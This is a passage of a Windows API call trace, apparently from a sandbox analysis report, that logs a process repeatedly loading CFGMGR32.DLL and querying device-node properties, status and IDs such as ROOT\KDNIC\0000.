[0223.606] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.606] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.606] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.606] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.607] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.607] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.607] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.607] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.607] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.607] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.609] malloc (_Size=0x18) returned 0x196ef0d2040 [0223.609] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0223.610] malloc (_Size=0x48) returned 0x196ef0fba40 [0223.610] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x66223ced, dwHighDateTime=0x1d9eb0c)) [0223.610] SetEvent (hEvent=0x248) returned 1 [0223.614] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.614] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.615] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.615] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.615] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.615] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.615] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.615] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.615] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.616] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.616] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.616] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.616] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.616] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.616] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.616] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.617] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.617] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.617] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.617] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.617] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.617] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.618] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.618] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0223.618] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0223.618] malloc (_Size=0x48) returned 0x196ef0fc120 [0223.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6624a052, dwHighDateTime=0x1d9eb0c)) [0223.619] SetEvent (hEvent=0x248) returned 1 [0223.623] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.623] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.624] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.624] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.624] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.624] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.624] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.625] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.625] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.625] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.625] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.625] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.625] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.625] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.626] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.626] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.626] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.626] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.626] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.626] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.627] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.627] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.627] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.627] malloc (_Size=0x18) returned 0x196ef0d1c60 [0223.627] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0223.678] malloc (_Size=0x48) returned 0x196ef0fc120 [0223.678] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x662e28ff, dwHighDateTime=0x1d9eb0c)) [0223.679] SetEvent (hEvent=0x248) returned 1 [0223.682] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.682] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.684] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.684] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.684] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.684] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.684] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.684] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.684] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.684] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.685] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.685] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.685] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.685] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0223.685] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x20, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0223.685] malloc (_Size=0x48) returned 0x196ef0fb770 [0223.685] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x662e28ff, dwHighDateTime=0x1d9eb0c)) [0223.686] SetEvent (hEvent=0x248) returned 1 [0223.690] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.690] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.690] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.690] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.690] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.690] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.691] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.691] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.691] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.691] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.691] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.691] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.691] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.692] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.692] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.692] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.692] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.692] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.692] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.693] malloc (_Size=0x18) returned 0x196ef0d1e60 [0223.693] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x20, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0223.694] malloc (_Size=0x48) returned 0x196ef0fb860 [0223.694] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x66308e08, dwHighDateTime=0x1d9eb0c)) [0223.694] SetEvent (hEvent=0x248) returned 1 [0223.697] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.697] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.697] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.697] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.697] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.699] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.699] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.699] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.699] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.699] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.699] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.699] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.700] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0223.700] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0223.700] malloc (_Size=0x48) returned 0x196ef0fba40 [0223.701] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x66308e08, dwHighDateTime=0x1d9eb0c)) [0223.701] SetEvent (hEvent=0x248) returned 1 [0223.705] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.705] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.709] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.709] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.709] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.709] malloc (_Size=0x18) returned 0x196ef0d19a0 [0223.709] CM_Get_Device_IDA (in: dnDevInst=0x21, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\KDNIC\\0000") returned 0x0 [0223.709] malloc (_Size=0x48) returned 0x196ef0fbc20 [0223.709] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x6632ed2a, dwHighDateTime=0x1d9eb0c)) [0223.710] SetEvent (hEvent=0x248) returned 1 [0223.714] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.714] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.714] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.714] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.714] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.715] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.715] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.715] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.715] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.715] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.715] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.715] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.715] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.716] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.716] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.716] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.716] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.716] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.716] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.716] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.716] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.717] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.717] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.717] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0223.717] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0223.717] malloc (_Size=0x18) returned 0x196ef0d1b20 [0223.718] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d1b20, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d1b20, pulLength=0x67117d608) returned 0x0 [0223.718] free (_Block=0x196ef0d1b20) [0223.718] malloc (_Size=0x48) returned 0x196ef0fc080 [0223.718] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6632ed2a, dwHighDateTime=0x1d9eb0c)) [0223.718] SetEvent (hEvent=0x248) returned 1 [0223.720] malloc (_Size=0x18) returned 0x196ef0d1e60 [0223.721] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7c7678) returned 0x0 [0223.721] free (_Block=0x196ef0d1e60) [0223.721] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855860 [0223.721] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0223.721] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0223.721] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0223.721] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0223.721] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0223.721] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0223.721] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0223.721] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0223.722] memcpy (in: _Dst=0x67117d268, 